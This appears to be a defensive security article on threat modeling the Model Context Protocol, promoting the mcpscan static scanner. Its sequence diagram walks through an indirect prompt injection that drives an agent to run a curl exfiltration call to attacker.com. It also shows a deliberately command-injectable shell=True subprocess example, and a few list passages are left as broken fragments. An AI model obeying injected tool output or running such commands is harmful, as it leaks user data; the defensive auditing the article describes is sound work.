Threat Modeling the Model Context Protocol: Securing Agentic Tools with mcpscan

The Model Context Protocol (MCP) has emerged as an open standard connecting LLM interfaces (such as Claude Desktop and Claude Code) to local and remote execution environments. By allowing models to execute system tools, query databases, and parse filesystems, MCP bridges the gap between passive text generation and active agentic execution.

However, granting AI agents execution capabilities introduces direct attack vectors against host environments. Because MCP servers execute locally with user-level privileges, compromised or improperly sanitized tools can lead to arbitrary code execution, indirect prompt injection, credential exfiltration, and privilege escalation.

This article breaks down the threat model of the Model Context Protocol, analyzes primary attack vectors, and demonstrates static analysis auditing using mcpscan.

graph TD
    User([User Prompt]) --> Client[MCP Client / Claude Engine]
    Client -->|JSON-RPC via stdio/SSE| Host[MCP Host Environment]
    Host --> Server1[Local System Tools / CLI]
    Host --> Server2[Remote File / Database API]
    Server2 -->|Untrusted External Data| Client
    style Client fill:#1f2937,stroke:#4b5563,color:#fff
    style Host fill:#111827,stroke:#374151,color:#fff
    style Server1 fill:#1f2937,stroke:#4b5563,color:#fff
    style Server2 fill:#1f2937,stroke:#4b5563,color:#fff

MCP operates on a client-host-server architecture where host applications communicate with servers via JSON-RPC over stdio or Server-Sent Events (SSE).

Unlike REST APIs that rely on strict schema validation and deterministic caller authorization, MCP sits directly beneath an LLM reasoning engine. This architecture introduces unique operational vulnerabilities.

When an MCP tool fetches untrusted external data (such as parsing a webpage, reading an email header, or scanning a git commit), malicious payloads embedded in that data can manipulate the client model's context window.

sequenceDiagram
    autonumber
    actor User
    participant Client as MCP Client
    participant Server as MCP Tool (Web Reader)
    participant Attacker as External Target Site

    User->>Client: Fetch summary of target site
    Client->>Server: Call `read_url("http://target.site")`
    Server->>Attacker: HTTP GET
    Attacker-->>Server: HTML containing hidden payload
    Server-->>Client: Returns payload in context
    Note over Client: Payload instructs LLM to execute:<br/>`run_command("curl https://attacker.com/leak")`
    Client->>Server: Executes unauthorized tool call

Many community MCP servers wrap CLI tools (such as git, docker, or kubectl). Passing unsanitized LLM parameters directly into subshells creates classic command injection vectors:

import subprocess

def run_git_status(repo_path: str):
    return subprocess.check_output(f"git -C {repo_path} status", shell=True)

Configurations stored in .claude/claude_desktop_config.json often contain API keys, connection strings, or unrestricted root filesystem mounts (/). Over-privileged tools can read local state and transmit tokens to external endpoints via logging or network side-channels.

To audit MCP server implementations and local environment configurations before deployment, we use mcpscan: a lightweight, static supply-chain security scanner built specifically for MCP servers and Claude Code projects.

flowchart LR
    Target[Target Repository / Config] --> Scanner[mcpscan Engine]
    Scanner --> Rules{Rule Evaluation}
    Rules -->|Pattern Matching| Rule1[MCP001: Command Injection]
    Rules -->|Static Pattern Match| Rule2[MCP005: Hardcoded Secrets]
    Rules -->|Config Scope Check| Rule3[MCP004: Excessive Permission Scope]
    Rule1 --> Output[SARIF 2.1.0 / JSON Report]
    Rule2 --> Output
    Rule3 --> Output
    style Scanner fill:#0f172a,stroke:#38bdf8,color:#fff
    style Output fill:#1e293b,stroke:#475569,color:#fff

eval), and improper deserialization using regex-based rule matching over source lines — no full AST parse required, which is part of how it stays dependency-free..claude/ and .mcp/ JSON files for exposed secrets and over-broad directory access. mcpscan ships well over a dozen rules (run mcpscan --list-rules for the full, current list). Five representative categories:

To run mcpscan against an MCP server repository or local configuration:

git clone https://github.com/glatinone/mcpscan.git
cd mcpscan

python3 -m mcpscan /path/to/target-mcp-server

python3 -m mcpscan --discover --format json

Integrate mcpscan directly into GitHub Actions to scan every pull request and upload findings to GitHub Code Scanning:

name: MCP Security Scan

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      security-events: write
      contents: read

    steps:
      - name: Checkout Code
        uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - name: Run mcpscan
        run: |
          git clone https://github.com/glatinone/mcpscan.git /tmp/mcpscan
          PYTHONPATH=/tmp/mcpscan python3 -m mcpscan . --format sarif --output results.sarif

      - name: Upload SARIF report
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: results.sarif

When authoring MCP servers, enforce these core defensive boundaries:

subprocess.run(["git", "status"], shell=False)). As agentic workflows scale, securing tool interfaces requires applying the same static analysis and threat modeling rigor used in traditional software engineering. mcpscan offers an automated, open-source path toward verifying MCP servers before execution.